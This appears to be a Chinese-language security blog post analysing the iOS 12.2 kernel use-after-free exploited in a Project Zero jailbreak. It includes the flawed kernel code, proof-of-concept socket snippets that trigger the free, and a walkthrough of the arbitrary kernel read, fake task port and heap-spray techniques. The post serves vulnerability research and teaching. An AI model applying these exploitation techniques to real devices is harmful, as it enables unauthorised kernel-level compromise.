专栏首页信安之路iOS12-2 越狱漏洞分析

iOS12-2 越狱漏洞分析

本文作者:Peterpan0927(信安之路病毒分析小组成员 & 360 涅槃团队成员)

p0 的 nedwill 在同事的帮助下:) 完成了 iOS12.2 越狱:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1806

这是一个 UAF 的洞,是通过tfp0的方式来拿到内核代码执行的权限了,一般的利用方式我们都还是比较熟悉了,而且 UAF 的利用方式我们通常都是通过ROP的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了 bazad 的帮助,通过他那个软件工程式的exploit就凸显了斯坦福博士的风格。不过整体都是 C++ 下的看的着实有点难受。

0x1 漏洞代码

void
in6_pcbdetach(struct inpcb *inp)
{
    // ...
  if (!(so->so_flags & SOF_PCBCLEARING)) {
    struct ip_moptions *imo;
    struct ip6_moptions *im6o;
    inp->inp_vflag = 0;
    if (inp->in6p_options != NULL) {
      m_freem(inp->in6p_options);
      inp->in6p_options = NULL; // <- good
    }
    ip6_freepcbopts(inp->in6p_outputopts); // <- bad
    ROUTE_RELEASE(&inp->in6p_route);
    // free IPv4 related resources in case of mapped addr
    if (inp->inp_options != NULL) {
      (void) m_free(inp->inp_options); // <- good
      inp->inp_options = NULL;
}

这里在进行资源释放的时候没有把inp->in6p_outputopts指向空,但是在socket断连再连接的时候就会造成UAF了,我看了一下ip6_freepcbopts这个函数,他将in6p_outputopts中的资源逐个释放并指向空,但很可惜忽略了他的上层。

我们的 poc 如下:

DanglingOptions::DanglingOptions() : dangling_(false) {
  s_ = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
  if (s_ < 0) {
    printf("failed to create socket!\n");
  }

  // 保证我们释放之后还可以进行setsockopt操作
  struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT,
                                   .npx_mask = SONPX_SETOPTSHUT};
  int res = setsockopt(s_, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
  if (res != 0) {
    printf("failed to enable setsockopt after disconnect!\n");
  }
  int minmtu = -1;
  
  SetMinmtu(&minmtu);
  FreeOptions();
}

bool DanglingOptions::FreeOptions() {
  if (dangling_) {
    return false;
  }
  dangling_ = true;
  //这个时候in6p_outputopts就已经被我们释放掉了
  int res = disconnectx(s_, 0, 0);
  return res == 0;
}

0x2 总体思路

整个利用的总体结构如下:

整体的结构还是比较好理解的,与之前的利用不一样的是,这里提出了几个不一样的技巧:

1、fdofiles

我们知道在一个进程的上下文中应该是会记录了这个进程打开的文件数量,有一个array来记录这些数据,这里正是利用了这一点,来获取管道的内核地址:

task -> proc -> fd table -> open files array (fd_ofiles) fd_ofiles -> fileproc -> f_fglob -> fg_data -> pipe -> pipe buffer

其中fake port的管道内核地址是为了构造kernel taskuaf pipe是为了释放掉它的buffer重新填充

2、20 字节的任意地址读

首先来看看我们重用的那个对象的结构体:

其中pktinfo是一个union,包含了128 bit的 ipv6 地址和一个 4 字节的整型index

struct in6_pktinfo {
         struct in6_addr ipi6_addr;      /* src/dst IPv6 address */
         unsigned int    ipi6_ifindex;   /* send/recv interface index */
 };

通过getsockopt中执行的对应option我们可以拿到这 20 字节的数据,也就是意味着每次我们通过触发 UAF,然后将我们想要读取的内核地址数据堆喷上去,然后通过api再读回来。

//通过控制option name来取不同的属性
bool DanglingOptions::GetIPv6Opt(int option_name, void *data, socklen_t size) {
  int res = getsockopt(s_, IPPROTO_IPV6, option_name, data, &size);
  if (res != 0) {
    printf("GetIpv6Opt got %d\n", errno);
    return false;
  }
  return true;
}

//buffer是我们堆喷的数据
memcpy(buffer.get() + OFFSET(ip6_pktopts, ip6po_pktinfo), &address_uint,
         sizeof(uint64_t));

可能不了解总的结构体的话还是会有些模糊:

struct  ip6_pktopts {
         struct  mbuf *ip6po_m;  /* Pointer to mbuf storing the data */
         int     ip6po_hlim;     /* Hoplimit for outgoing packets */
 
         /* Outgoing IF/address information */
         struct  in6_pktinfo *ip6po_pktinfo;
 
         /* Next-hop address information */
         struct  ip6po_nhinfo ip6po_nhinfo;
 
         struct  ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
 
         /* Destination options header (before a routing header) */
         struct  ip6_dest *ip6po_dest1;
 
         /* Routing header related info. */
         struct  ip6po_rhinfo ip6po_rhinfo;
 
         /* Destination options header (after a routing header) */
         struct  ip6_dest *ip6po_dest2;
 
         int     ip6po_tclass;   /* traffic class */
 //获取port的内核地址就是用了这个属性,minmtu取到高32位,prefer_tempaddr取到低32位(小端模式),通过((uint64_t)minmtu << 32) | prefer_tempaddr 操作最后算出地址
         int     ip6po_minmtu;  /* fragment vs PMTU discovery policy */
 
 
         int     ip6po_prefer_tempaddr;  /* whether temporary addresses are
                                            preferred as source address */
 
         int ip6po_flags;
 };

任意地址读相当于是用我们想要读取的数据覆盖ip6po_pktinfo指针,所以在取的时候会对这个指针的值解引用然后读取 20 字节的数据回来。这个做法很精妙但是不通用,只是针对于这个结构体而言的。

3、uaf_pipe

我们虽然构造了一个fake port但是苦于没有一个合法的port name进行操纵,所以就算我们把kernel task全都dump到了我们的fake task,也没办法进行任意地址读写,这里提出了一个新的UAF pipe,创建之后我们先通过任意地址读拿到它的内核地址信息,然后将它的buffer给释放掉,注意这里释放的只是buffer,而不是pipe

再通过堆喷大量的ool ports占据这块buffer,那么这个时候buffer中应该包含着刚刚堆喷的port的内核地址,最后将uaf pipe的首 8 个字节改写为fake port的地址,这就相当于我们拥有了一个可以操控fake portport name了,最后我们接受消息,判断port name是否合法,如果合法说明我们已经拥有了最后的内核地址读写的权限了。

4、heap spray

我们知道做堆喷是有多种方式的,这里选择每一种都是有原因的,ool ports是为了port nameIOSurface是因为用起来很舒服,比较自由 ,所以除非是为了fake port,我们用的都是IOSurfaceset_value

0x3 参考链接

bugs.chromium

https://bugs.chromium.org/p/project-zero/issues/detail?id=1806

本文分享自微信公众号 - 信安之路(xazlsec),作者:Peterpan0927

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 轻松理解什么是 C&C 服务器

    大家经常在看恶意软件分析的文章或者关于僵尸网络的报道时经常会看到有关 C&C 服务器的字眼,但是这个 C&C 服务器是什么呢?今天的主题就是带领大家轻松理解什么...

    信安之路
  • 关于物联网 LoRa WLAN 的安全研究

    很早就关注了“信安之路”很多干货,学到很多知识。现在来回报大家了,疫情期间在闭关提升自己,也写了些文章,以后可以分享。

    信安之路
  • 如何成为一个安全架构师

    如何成为一个安全架构师,安全架构师需要什么样的能力?首先要理解什么是安全架构,安全架构包含哪些组件,如何将这些安全组件合理的组织在一起形成一定的战斗力,这是非常...

    信安之路
  • 一文详尽解释EM算法

    EM 算法,全称 Expectation Maximization Algorithm。期望最大算法是一种迭代算法,用于含有隐变量(Hidden Variabl...

    石晓文
  • 【ML】一文详尽系列之EM算法

    EM 算法,全称 Expectation Maximization Algorithm。期望最大算法是一种迭代算法,用于含有隐变量(Hidden Variabl...

    yuquanle
  • 【机器学习】一文详尽系列之EM算法

    EM 算法,全称 Expectation Maximization Algorithm。期望最大算法是一种迭代算法,用于含有隐变量(Hidden Variabl...

    zenRRan
  • (二)ROS系统架构及概念 ROS Architecture and Concepts 以Kinetic为主更新 附课件PPT

    第2章 ROS系统架构及概念 ROS Architecture and Concepts

    zhangrelay
  • 这张“毅力号火星照片”,AI P过

    但这照片充满了浓浓的年代感:黑白的,像素还低于100万。(待探测器完全启动运行后,可拍摄更高像素的彩色照片)

    量子位
  • redis 在Linux下的安装与配置

    [root@localhost mnt]# tar xzf redis-3.0.7.tar.gz

    授客
  • 经验 | OpenCV图像旋转的原理与技巧

    初学图像处理,很多人遇到的第一关就是图像旋转,图像旋转是图像几何变换中最具代表性的操作,包含了插值、背景处理、三角函数等相关知识,一个变换矩阵跟计算图像旋转之后...

    OpenCV学堂

扫码关注云+社区

领取腾讯云代金券